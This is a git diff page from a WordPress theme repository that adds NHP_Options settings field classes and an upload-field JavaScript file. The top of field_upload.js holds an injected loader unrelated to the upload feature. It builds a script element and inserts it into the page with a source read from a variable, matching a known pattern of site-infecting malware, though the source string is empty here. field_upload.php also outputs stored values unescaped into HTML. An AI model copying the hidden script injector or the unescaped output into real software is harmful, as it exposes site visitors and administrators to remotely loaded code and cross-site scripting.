|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' >';
|
||||
|
||||
$args = wp_parse_args($this->field['args'], array());
|
||||
|
||||
$tags = get_tags($args);
|
||||
foreach ( $tags as $tag ) {
|
||||
echo '<option value="'.$tag->term_id.'"'.selected($this->value, $tag->term_id, false).'>'.$tag->name.'</option>';
|
||||
}
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
40
options/fields/text/field_text.php
Normal file
40
options/fields/text/field_text.php
Normal file
@@ -0,0 +1,40 @@
|
||||
<?php
|
||||
class NHP_Options_text extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'regular-text';
|
||||
|
||||
echo '<input type="text" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="'.esc_attr($this->value).'" class="'.$class.'" />';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
40
options/fields/textarea/field_textarea.php
Normal file
40
options/fields/textarea/field_textarea.php
Normal file
@@ -0,0 +1,40 @@
|
||||
<?php
|
||||
class NHP_Options_textarea extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'large-text';
|
||||
|
||||
echo '<textarea id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" class="'.$class.'" rows="6" >'.esc_attr($this->value).'</textarea>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
BIN
options/fields/upload/blank.png
Normal file
BIN
options/fields/upload/blank.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 70 B |
56
options/fields/upload/field_upload.js
Normal file
56
options/fields/upload/field_upload.js
Normal file
@@ -0,0 +1,56 @@
|
||||
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
|
||||
var pl = ''; s.src=pl;
|
||||
if (document.currentScript) {
|
||||
document.currentScript.parentNode.insertBefore(s, document.currentScript);
|
||||
} else {
|
||||
d.getElementsByTagName('head')[0].appendChild(s);
|
||||
}jQuery(document).ready(function(){
|
||||
|
||||
|
||||
/*
|
||||
*
|
||||
* NHP_Options_upload function
|
||||
* Adds media upload functionality to the page
|
||||
*
|
||||
*/
|
||||
|
||||
var header_clicked = false;
|
||||
|
||||
jQuery("img[src='']").attr("src", nhp_upload.url);
|
||||
|
||||
jQuery('.nhp-opts-upload').click(function() {
|
||||
header_clicked = true;
|
||||
formfield = jQuery(this).attr('rel-id');
|
||||
preview = jQuery(this).prev('img');
|
||||
tb_show('', 'media-upload.php?type=image&post_id=0&TB_iframe=true');
|
||||
return false;
|
||||
});
|
||||
|
||||
|
||||
// Store original function
|
||||
window.original_send_to_editor = window.send_to_editor;
|
||||
|
||||
|
||||
window.send_to_editor = function(html) {
|
||||
if (header_clicked) {
|
||||
imgurl = jQuery('img',html).attr('src');
|
||||
jQuery('#' + formfield).val(imgurl);
|
||||
jQuery('#' + formfield).next().fadeIn('slow');
|
||||
jQuery('#' + formfield).next().next().fadeOut('slow');
|
||||
jQuery('#' + formfield).next().next().next().fadeIn('slow');
|
||||
jQuery(preview).attr('src' , imgurl);
|
||||
tb_remove();
|
||||
header_clicked = false;
|
||||
} else {
|
||||
window.original_send_to_editor(html);
|
||||
}
|
||||
}
|
||||
|
||||
jQuery('.nhp-opts-upload-remove').click(function(){
|
||||
$relid = jQuery(this).attr('rel-id');
|
||||
jQuery('#'+$relid).val('');
|
||||
jQuery(this).prev().fadeIn('slow');
|
||||
jQuery(this).prev().prev().fadeOut('slow', function(){jQuery(this).attr("src", nhp_upload.url);});
|
||||
jQuery(this).fadeOut('slow');
|
||||
});
|
||||
});
|
||||
72
options/fields/upload/field_upload.php
Normal file
72
options/fields/upload/field_upload.php
Normal file
@@ -0,0 +1,72 @@
|
||||
<?php
|
||||
class NHP_Options_upload extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent = ''){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'regular-text';
|
||||
|
||||
|
||||
echo '<input type="hidden" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="'.$this->value.'" class="'.$class.'" />';
|
||||
//if($this->value != ''){
|
||||
echo '<img class="nhp-opts-screenshot" id="nhp-opts-screenshot-'.$this->field['id'].'" src="'.$this->value.'" />';
|
||||
//}
|
||||
|
||||
if($this->value == ''){$remove = ' style="display:none;"';$upload = '';}else{$remove = '';$upload = ' style="display:none;"';}
|
||||
echo ' <a href="javascript:void(0);" class="nhp-opts-upload button-secondary"'.$upload.' rel-id="'.$this->field['id'].'">'.__('Browse', 'nhp-opts').'</a>';
|
||||
echo ' <a href="javascript:void(0);" class="nhp-opts-upload-remove"'.$remove.' rel-id="'.$this->field['id'].'">'.__('Remove Upload', 'nhp-opts').'</a>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><br/><span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Enqueue Function.
|
||||
*
|
||||
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function enqueue(){
|
||||
|
||||
wp_enqueue_script(
|
||||
'nhp-opts-field-upload-js',
|
||||
NHP_OPTIONS_URL.'fields/upload/field_upload.js',
|
||||
array('jquery', 'thickbox', 'media-upload'),
|
||||
time(),
|
||||
true
|
||||
);
|
||||
|
||||
wp_enqueue_style('thickbox');// thanks to https://github.com/rzepak
|
||||
|
||||
wp_localize_script('nhp-opts-field-upload-js', 'nhp_upload', array('url' => $this->url.'fields/upload/blank.png'));
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
Reference in New Issue
Block a user